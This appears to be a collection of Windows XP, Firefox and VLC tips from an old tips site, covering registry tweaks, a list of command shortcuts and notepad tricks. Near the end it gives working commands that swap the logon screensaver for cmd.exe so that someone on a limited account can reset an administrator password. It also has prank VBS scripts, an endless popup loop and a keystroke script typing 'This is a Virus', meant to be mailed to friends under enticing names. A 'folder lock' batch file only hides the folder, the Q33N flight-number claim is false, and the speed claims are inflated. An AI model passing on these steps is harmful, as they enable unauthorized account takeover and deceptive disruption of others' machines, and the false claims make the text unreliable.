IMPROVE XP SHUTDOWN SPEED

This tweak reduces the time XP waits before automatically closing any running programs when you give it the command to shutdown.
Go to Start then select Run
Type 'Regedit' and click ok
Find 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now select 'HungAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'

 

Now find 'HKEY_USERS\.DEFAULT\Control Panel\Desktop'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\'
Select 'WaitToKillServiceTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'

How to Shutdown Computer automatically Using Firefox Auto Shutdown Add-on

Firefox is the top most world widely used web browser. Because it is handy and have lots of features though its add-on and extension. Sometimes we download files using Firefox and on the same time we need to go for some work. So until we come back the computer waste the energy. In this situation we can use Firefox Auto shutdown the computer when downloads are completed and helps us to save electric power.

Auto Shutdown is a cool Firefox add-on which controls your active download and shut down the computer when downloads are completed through is auto executing user script. Not only this but if Firefox is running idle it also shut downs the pc automatically with pre defined shut down time.

If you are using Downthemall Firefox extension for downloading movies, video, music and images from web then you can easily integrate Auto shutdown Firefox extension with downthemall add-on.
https://addons.mozilla.org/en-US/firefox/addon/5452 download now...

Creating a Shutdown/Reboot Icon

WindowsXP has a program called SHUTDOWN.EXE which allows you to easily create icons to shutdown or restart your computer.
To create a shutdown shortcut on the desktop:
1.   Right click on an open area of the desktop 
2.   Select New / Shortcut 
3.   Enter in "shutdown -s -t 00" - no quotes 
4.   Press the Next button 
5.   For the name, enter in anything you like. I just use shutdown. Click on the Finish button.
For a reboot, enter "shutdown -r -t 00"
Shutdown [{-l|-s|-r|-a}] [-f] [-m [\\ComputerName]] [-t xx] [-c "message"] [-d[p]:xx:yy]
Parameters
•   -l - Logs off the current user, this is also the defualt. -m ComputerName takes precedence.
•   -s - Shuts down the local computer.
•   -r - Reboots after shutdown.
•   -a - Aborts shutdown. Ignores other parameters, except -l and ComputerName. You can only use -a during the time-out period.
•   -f - Forces running applications to close.
•   -m [\\ComputerName] - Specifies the computer that you want to shut down.
•   -t xx - Sets the timer for system shutdown in xx seconds. The default is 20 seconds.
•   -c "message" - Specifies a message to be displayed in the Message area of the System Shutdown window. You can use a maximum of 127 characters. You must enclose the message in quotation marks. 

TEASE YOUR FRIEND WITH POPUP TRICK

[TRICK]Send Popups To Friends
Okay this is pretty easy and not really hacking.

Open notepad and copy & paste this

Code:

For i = 1 to 1000000
Wscript.echo i
Next

You can change the number of popups by changing the 1000000 to whatever number you want.

After that save the file as NAME.vbs

Where NAME is the name you want to give to your file, try make it appealing to click.

The important thing is not the name but the extension, make sure your file ends with .vbs and not .txt

That's it, send this to a friend or enemy, or try it yourself, with 10 popup for example...


Njoy


is a for loop that is the part of c++

Get Firefox browser Inside Firefox browser

Mozilla Firefox is the most popular browser used by techies to access  websites when compared to other browsers like Internet explorer and Opera. Most of users use Mozilla Firefox as there default browser.

There are many tricks using Mozilla Firefox this is one of the trick I’m sharing with you, Firefox inside Firefox.

So here , 4 steps to follow to get Firefox inside Firefox.

    * Open your Mozilla Firefox Browser.
    * Copy and paste the code below into the address bar of your Mozilla Firefox browser.

code :   chrome://browser/content/browser.xul

* If you want to open another Firefox browser paste the same  above address  into address bar of newly open Firefox tab.

Windows Explorer Tips and Tricks

>>> Note: Incorrectly editing the registry may severely damage your system. before making changes to the registry, make a backup copy

>> How to increase icon cache

You can increase response time in windows explorer and give the Shell icon cache file more elbow room.

1- Click Start Menu > select Run, type "regedit" (without quotes) to run Windows Registry Editor.
2- Find and go to following address: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\explorer
3- Create a new STRING and name Max Cached Icons, give it value of 10000
4- Close Registry Editor and reboot your computer.



>> How to create 3D Effect for Window

You can create 3D effect for your window Explorer
1- Click Start Menu > select Run, type "regedit" (without quotes) to run Windows Registry Editor.
2- Find and go to following key: HKEY_CURRENT_USER \ Control Panel \ Colors
3- Change ButtonHiligh value to 128 128 128, and change ButtonShadow to 255 255 255
>>> ButtonHilight=128 128 128
>>> ButtonShadow=255 255 255
And finally close Registry Editor and reboot your computer

>> How to sort Favorites and Start Menus Alphabetically
You can sort Favorites and Start Menus Alphabetically ( A ?Z)
1- Click Start Menu > select Run, type "regedit" (without quotes) to run Windows Registry Editor.
2- Find and go to following : HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/MenuOrder
3- Under this folder there are Favorites and Start Menu folders, just delete "Order" value key
4- Close Registry Editor and reboot your computer; your Favorites or Start Menus should now sort alphabetically


>>> How to run Windows Explorer in Separate Process
1- Click Start Menu > select Run, type "regedit" (without quotes) to run Windows Registry Editor.
2- Find and go to following address HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer
3- Create a new DWORD and name DesktopProcess, and give it value of 1
4- Close Registry Editor and reboot your computer


>>> How to remove items from Windows Explorer right click context
1- Click Start Menu > select Run, type "regedit" (without quotes) to run Windows Registry Editor.
2- Find and go to the following folders in the Registry and delete the sub key with the string that show the Item you want to remove
3- Close Registry Editor and reboot your computer

>>> How to remove File Menu in Windows Explorer
1- Click Start Menu > select Run, type "regedit" (without quotes) to run Windows Registry Editor
2- Find and go to to HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
3- Create a new Binary Value and name it NoFileMenu, give it value of 01 00 00 00
4- Close Registry Editor and reboot your computer.

Make Mozilla Firefox 30 time faster

1. Type "about:config" into the address bar and hit return. Scroll
down and look for the following entries:
network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests
Normally the browser will make one request to a web page at a time.
When you enable pipelining it will make several at once, which really
speeds up page loading.
2. Alter the entries as follows:
Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"
Set "network.http.pipelining.maxrequests" to some number like 30. This
means it will make 30 requests at once.
3. Lastly right-click anywhere and select New-> Integer.
Name it "nglayout.initialpaint.delay" and set its value to "0".
This value is the amount of time the browser waits before it acts on information it
recieves.
If you're using a broadband connection you'll load pages 2-30 times faster now.

All windows XP commands

* CONTROL: opens the control panel window
    * CONTROL ADMINTOOLS: opens the administrative tools
    * CONTROL KEYBOARD: opens keyboard properties
    * CONTROL COLOUR: opens display properties.Appearance tab
    * CONTROL FOLDERS: opens folder options
    * CONTROL FONTS: opens font policy management
    * CONTROL INTERNATIONAL or INTL.CPL: opens Regional and Language option
    * CONTROL MOUSE or MAIN.CPL: opens mouse properties
    * CONTROL USERPASSWORDS: opens User Accounts editor
    * CONTROL USERPASSWORDS2 or NETPLWIZ: User account access restrictions
    * CONTROL PRINTERS: opens faxes and printers available
    * APPWIZ.CPL: opens Add or Remove programs utility tool
    * OPTIONALFEATURES: opens Add or Remove Windows component utility
    * DESK.CPL: opens display properties. Themes tab
    * HDWWIZ.CPL: opens add hardware wizard
    * IRPROPS.CPL: infrared utility tool
    * JOY.CP: opens game controllers settings
    * MMSYS.CPL: opens Sound and Audio device Properties. Volume tab
    * SYSDM.CPL: opens System properties
    * TELEPHON.CPL: Opens phone and Modem options
    * TIMEDATE.CPL: Date and Time properties
    * WSCUI.CPL: opens Windows Security Center
    * ACCESS.CPL: opens Accessibility Options
    * WUAUCPL.CPL: opens Automatic Updates
    * POWERCFG.CPL: opens Power Options Properties
    * AZMAN.MSC: opens authorisation management utility tool
    * CERTMGR.MSC: opens certificate management tool
    * COMPMGMT.MSC: opens the Computer management tool
    * COMEXP.MSC or DCOMCNFG: opens the Computer Services management tool
    * DEVMGMT.MSC: opens Device Manager
    * EVENTVWR or EVENTVWR.MSC: opens Event Viewer
    * FSMGMT.MSC: opens Shared Folders
    * NAPCLCFG.MSC: NAP Client configuration utility tool
    * SERVICES.MSC: opens Service manager
    * TASKSCHD.MSC or CONTROL SCHEDTASKS: opens Schedule Tasks manager
    * GPEDIT.MSC: opens Group Policy utility tool
    * LUSRMGR.MSC: opens Local Users and Groups
    * SECPOL.MSC: opens local security settings
    * CIADV.MSC: opens indexing service
    * NTMSMGR.MSC: removable storage manager
    * NTMSOPRQ.MSC: removable storage operator requests
    * WMIMGMT.MSC: opens (WMI) Window Management Instrumentation
    * PERFMON or PERFMON.MSC: opens the Performance monitor
    * MMC: opens empty Console
    * MDSCHED: opens memory diagnostics tools
    * DXDIAG: opens DirectX diagnostics tools
    * ODBCAD32: opens ODBC Data source Administrator
    * REGEDIT or REGEDT32: opens Registry Editor
    * DRWTSN32: opens Dr. Watson
    * VERIFIER: opens Driver Verifier Manager
    * CLICONFG: opens SQL Server Client Network Utility
    * UTILMAN: opens Utility Manager
    * COLORCPL: opens color management
    * CREDWIZ: back up and recovery tool for user passwords
    * MOBSYNC: opens Synchronization center
    * MSCONFIG: opens System Configuration Utility
    * SYSEDIT: opens System Configuration Editor (careful while using this command)
    * SYSKEY: Windows Account Database Security management (careful while using this command)


Windows utility and applications

    * EPLORER: Opens windows Explorer
    * IEXPLORER: Opens Internet explorer
    * WAB: opens Contacts
    * CHARMAP: opens Character Map
    * WRITE: opens WordPad
    * NOTEPAD: opens Notepad
    * CALC: opens Calculator
    * CLIPBRD: opens Clipboard Viewer->  Vista Has no ClipBoard..
    * WINCHAT: opens Microsoft Chat Interface
    * SOUNDRECORDER: opens sound recording tool
    * DVDPLAY: run CD or DVD
    * WMPLAYER: opens Windows Media Player
    * MOVIEMK: Opens untitled Windows Movie Maker
    * OSK: opens on-screen Keyboard
    * MAGNIFY: opens Magnifier
    * WINCAL: opens Calendar
    * DIALER: opens phone Dialer
    * EUDCEDIT: opens Private Character Editor
    * NDVOL: opens the mixer volume
    * RSTRUI : opens Tool System Restore (For Vista only)
    * %WINDIR%\SYSTEM32\RESTORE\rstrui.exe: opens Tool System Restore (for XP only).
    * MSINFO32: Opens the System Information
    * MRT : launches the utility removal of malware.
    * Taskmgr : Opens the Windows Task Manager
    * CMD: opens a command prompt
    * MIGWIZ: Opens the tool for transferring files and settings from Windows (Vista only)
    * Migwiz.exe: Opens the tool for transferring files and settings from Windows (for XP only)
    * SIDEBAR: Open the Windows (Vista only)
    * Sigverif : Opens the tool for verification of signatures of files
    * Winver : Opens the window for your Windows version
    * FSQUIRT: Bluetooth Transfer Wizard
    * IExpress opens the wizard for creating self-extracting archives. Tutorial HERE
    * MBLCTR: opens the mobility center (Windows Vista only)
    * MSRA : Opens the Windows Remote Assistance
    * Mstsc : opens the tool connection Remote Desktop
    * MSDT: opens the diagnostic tools and support Microsoft
    * WERCON: opens the reporting tool and solutions to problems (for Vista only)
    * WINDOWSANYTIMEUPGRADE: Enables the upgrade of Windows Vista
    * WINWORD : opens Word (if installed)
    * PRINTBRMUI : Opens migration wizard printer (Vista only)


Disk management

    * DISKMGMT.MSC: opens disk management utility
    * CLEANMGR: opens disk drive clean up utility
    * DFRG.MSC: opens disk defragmenter
    * CHKDSK: complete analysis of disk partition
    * DISKPART: disk partitioning tool


Connection management

    * IPCONFIG: list the configuration of IP addresses on your PC (for more information type IPCONFIG/? in the CMD menu)
    * INETCPL.CPL: opens internet properties
    * FIREWALL.CPL: opens windows firewall
    * NETSETUP.CPL: opens network setup wizard


Miscellaneous commands

    * JAVAWS: View the cover of JAVA software (if installed)
    * AC3FILTER.CPL: Opens the properties AC3 Filter (if installed)
    * FIREFOX: Mozilla launches Firefox (if installed)
    * NETPROJ: allow or not connecting to a network projector (For Vista only)
    * LOGOFF: closes the current session
    * SHUTDOWN: shut down Windows
    * SHUTDOWN-A: to interrupt Windows shutdown
    * %WINDIR% or %SYSTEMROOT%: opens the Windows installation
    * %PROGRAMFILES%: Opens the folder where you installed other programs (Program Files)
    * %USERPROFILE%: opens the profile of the user currently logged
    * %HOMEDRIVE%: opens the browser on the partition or the operating system is installed
    * %HOMEPATH%: opens the currently logged user C: \ Documents and Settings \ [username]
    * %TEMP%: opens the temporary folder
    * VSP1CLN: deletes the cache for installation of the service pack 1 for Vista
 

          CMD Prompt!

        * System File Checker (Requires Windows CD if the cache is not available):
          o SFC / scannow: immediately scans all system files and repairs damaged files
          o SFC / VERIFYONLY: scans only those files system
          o SFC / Scanfil = "name and file path": scans the specified file, and repaired if damaged
          o SFC / VERIFYFILE = "name and file path": Scans only the file specified
          o SFC / scanonce: scans the system files on the next restart
          o SFC / REVERT: return the initial configuration (For more information, type SFC /? In the command prompt CMD

Some Hidden Tips & Tricks of VLC Player

VLC is the most popular media player because it plays everything of almost every format .But VLC can do a lot of other things as well as which normal user do not know about this. Check your knowledge how many of these listed below you knew, and how many you did not.

1.) Rip DVDs: VLC includes a basic DVD ripper. You probably would never use it when there are better DVD rippers available, but it helps to know that you can in fact, get a decent quality DVD rip with VLC. To rip a movie follow these steps:
* Go to the Media menu and choose Convert/Save. Click on the Disc tab. * Here you can adjust the Starting Position and rip only specific titles or chapters.
* Enter file name making sure to end with .MPG, and start ripping.* Click Save.* Its Done.

2.) Record videos: With the new VLC, you can record videos during playback. The record button is hidden by default.
To see it, click on View>Advanced Control. The record button will now appear. Clicking on the button while playing a movie or video will start recording. Clicking again will stop recording.

3.) Play RAR files: Do you know VLC can play videos zipped inside RAR files? They play like normal video files and you can even use the seek bar. If the RAR file is split into several files, no problem. Just load the first part (.part001.rar ) and it will automatically take the rest of the parts and play the whole file.

4.) Play in ASCII mode: VLC media player has an amusing ability, to playback movies in ASCII art.
To enable ASCII mode, open VLC media player and click on Tools>Preferences. Open the section “Video” section and under “Output” select “Color ASCII art video output” from the drop down menu. Save it. Now play any video file to enjoy the ASCII art.

5.) Listen to online radio: VLC includes hundreds of Shoutcast radio stations. You just need to enable it through Media>Services Discovery>Shoutcast radio listings. Now, open the Playlist and browse through the stations.

6.) Convert Audio and Video formats: In VLC you can convert video and audio files from one format to another. Several different formats are supported like MP4, WMV, AVI, OGG, MP3 etc. To access the converter:
* Go to Media>Convert/Save.
* Load the file you want to convert using the Add button and click Convert.
* Now choose the output format and output file location.

7.) Download YouTube and other online videos: First grab the URL of the YouTube video page.
Now click on Media>Open Network stream. Paste the URL and click Play.
Once VLC starts streaming the video, click Tools>Codec Information and at the bottom of the window you will see a Location box. Copy the URL and paste it on your browser’s address bar. The browser will now download the file which you can save it to your hard disk. Alternatively, you can record the video

WITHOUT FOLDER LOCK

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

1. paste this content into notepad and save it ex.abt
2. Double click on this batch file to create a folder locker.
3.New folder named 'Locker' would be formed at the same location
4.Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.
5.If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password(mdlocker) and enjoy access to the folder.

Speedup / Fast Copy and Paste 100% working

Speedup / Fast Copy and Paste 100% working

While Copying/Pasting
Step 1: Open your task manager
Step 2: Select Explorer in Process tab,Right Click on it and change priority to "high" or realtime...

Then check the performance...

NOTEPAD "WORLD TRADE CENTER" TRICK

Do you know that the flight number of the plane that had hit WTC on 9/11 was Q33N.

~ Open your Notepad in your computer and type the flight
number i.e Q33N

~ Increase the Font Size to 72

~ Change the Font to Wingdings 

U will be amazed by what you will see.

AUTO DELETE TEMPORARY FILES OS - Windows XP Pro

~ Start -> Run -> Type gpedit.msc

~ In Group Policy Editor go to: 
Computer Configuration -> Administrative Templates -> Windows Components -> Terminal Services -> Temporary Folder

~ Then right click “Do Not Delete Temp Folder Upon Exit”

~ Go to properties and hit disable.

Now next time Windows puts a temp file in that folder it will automatically delete it when its done!

TURN OFF ANNOYING BEEP SOUND IN WINDOWS OS - Windows

~ Go to Start -> Run -> Type regedit

~ Go to HKEY_CURRENT_USER\Control Pannel\Sound

~ Edit Beep key and set it's value to "No"

CREATE SHUTDOWN SHORTCUT OS - Windows

~ Right click -> New -> Shortcut

~ When you click the Shortcut menu item, you will arrive at the input screen. This is where you will enter the specific command strings to make your new shortcut do what you want it to do.

~ We will enter the specific command that will shut down a Windows PC. Type the following command into the box and then click Next:
shutdown.exe -s -t 00

~ The next screen asks you to name the shortcut. I suggest you name the shortcut to correspond to the action it will perform. In this case, we name it Shutdown.

~ Technically, you could stop here, but I prefer to give these shortcuts an icon that will help me remember what it is they do.

~ Now you should now have a new shortcut on your desktop. When you click the shortcut, your PC will shut down, so make sure you save your work before you test it.

DISABLE THE RIGHT CLICK FUNCTIONALITY ON THE DESKTOP OS – Windows

Note: To use this feature, you will need to be logged into your computer with administrative rights.

~ Start -> Run ->Type regedit

~ Go to following location:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

~ Here in right side panel, right click to create a new DWORD value with the name NoViewContextMenu (it is case sensitive), then assign number 1 in value data box.

~ Now close the registry editor and restart your computer.

~ If you want to enable right click functionality on desktop then simply change the value of data box to 0 or delete the NoViewContextMenu DWORD item.

AUTOMATIC SCREEN REFRESH OS - Windows

When you make changes to your file system and use Explorer, the changes are not usually displayed until you refresh the screen.

To refresh automatically: 

~ Start -> Run -> Type regedit

~ Go to:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Update

~ Set the value name "UpdateMode" to 1

HOW TO HACK ADMIN PASSWORD FROM A LIMITED ACCOUNT OS – Windows XP

~ Open command prompt [Start -> Run -> cmd]

~ Enter the following: [Press enter after each command]

> cd\
> cd\windows\system32
> mkdir temphack
> copy logon.scr temphack\logon.scr
> copy cmd.exe temphack\cmd.exe
> del logon.scr
> rename cmd.exe logon.scr
> exit

~ Now what you have just done is told the computer to backup the command prompt and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected command prompt with out logging into XP.

~ Reboot the machine and wait for some time at the login screen and instead of screen saver, command prompt will open up.

~ After command prompt opens up enter the following:

> net user [This will show the username of all users]
> net user <administrator account name> *

~ Close the command prompt and login into the administrator account whose name you just entered. You will not be asked for password

MATRIX FALLING CODE EFFECT: NOTEPAD TRICK OS - Windows

Copy and paste the code given below in Notepad and save the file as Matrix.bat. 

@echo off
color 02
:tricks
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto tricks

Run the bat file and you will see the Matrix Code Falling effect

MAKE YOUR KEYBOARD TYPE ANY MESSAGE CONTINUOUSLY: NOTEPAD TRICK OS – Windows

~ Copy and paste the code given below in Notepad and save the file as Tricks.vbs:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "This is a Virus. You have been infected."
Loop

~ When this script is runned, it will start writing the text "This is a Virus. You have been infected." [without quotes] in any text editor opened like Notepad or Word etc.

~ You might need to restart your computer to stop this. Send this file to your friends as an email attachment to see the fun.